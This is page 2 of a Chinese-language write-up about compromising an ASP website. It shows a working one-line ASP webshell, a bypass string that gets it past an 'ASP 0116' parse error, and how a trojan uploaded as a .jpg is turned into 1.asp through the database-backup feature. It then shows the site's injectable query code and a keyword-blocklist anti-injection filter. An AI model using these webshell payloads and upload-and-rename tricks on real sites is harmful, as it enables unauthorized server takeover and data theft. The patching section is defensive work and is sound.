看错误提示应该不是ewebeditor了,也没发现upfile.asp或者upload等页面,既然只能上传图片那就不去管他了,点开数据库备份,笔者发现该网站使用的是.asp后缀的数据库,那么在前台留言那里写入一个一个一句话然后连接不知道可以不?于是抱着试试的想法在前台留言那里写入 <%execute request("fish")%>,然后访问数据库页面/db/fujia_data.asp,发现虽然写进去了但是没成功。
错误提示
Active Server Pages 错误 'ASP 0116'
缺少关闭脚本分隔符
/db/fujia_data.asp,行56
Script 块缺少脚本关闭标记 (% >) 。
应该是数据库里有类似<% loop <% 之类的东西阻碍掉了,没有闭合,少了% > 如图5

略懂一点asp语法的人都知道"<% loop <%"是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。但是已经有朋友找到可以突破这个错误的方法了,将<% execute request("#")%>a<% 转换成<%execute request("value")%><%'<% loop <%:%>然后在留言那里插入,然后再一次连接数据库,发现插入成功了。如图6

一句话木马已经成功插进去了,这样成功了拿到WEBSHELL。我们回到后台继续看看还有什么可以利用的地方,转了半天也没发现可利用的。看来还是先用数据库备份拿个SHELL 再说,跟朋友要了个ASP大马,然后保存为jpg形式上传,得到上传地址为UploadFile/200818135334.jpg,数据库备份那里路径就写 UploadFile/200818135334.jpg 备份数据库名称写1.asp,然后点备份,成功获得了一个WEBSHELL。
拿到SHELL 了以后就在想怎么帮朋友修补漏洞,先看存在注射漏洞页viewInfo_c.asp Ctrl+F 搜索“request”一下就跳出来代码了,我们来看看查询是怎么写的?简单解释下代码,如下:
<%
dim ID
dim rs,sql
ID=request("id") //从客户端获取ID的值
sql = "select * from Info where ID="& ID // 把查询语句赋值给SQL变量
Set rs = Server.CreateObject("ADODB.Recordset") //创建记录对象
rs.open sql,conn,1,1 //执行查询语句
if not (rs.eof and rs.bof) then //判断记录是否存在
%>
我们看到因为程序作者是直接使用request从客户端获取ID的值,并没有对程序进行过滤,也没有对输入的语句进行判断,所以导致存在注射漏洞。而且现在不光是这一个页面存在漏洞,笔者在WEBSHELL里随便打开一个页面搜索request发现全部都是ID=request("id") 并没有进行任何过滤,同样也存在了注射漏洞。如图7

随便又看了几个页面几乎每个页面程序作者都没有对代码进行过滤,一个页面一个页面补肯定是不行了。笔者找到了一个比较经典的“ASP通用防注射代码”直接加到conn.asp里,代码如下: dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=javascript>alert('注意:请不要提交非法请求!');history.back(-1)</Script>"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=javascript>alert('注意:请不要提交非法请求!');history.back(-1)</Script>"
Response.end
end if
next
next
end if
上面代码直接加入到conn.asp里就可以了,因为每个文件都包含了根目录下conn.asp,所以直接过滤掉了注射所用的|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|。
在使用一次注射语句看看,已经不行了啦。如图8

另外留言那里还有跨站漏洞,这里就不写了。笔者一块全补了。上一页 1 2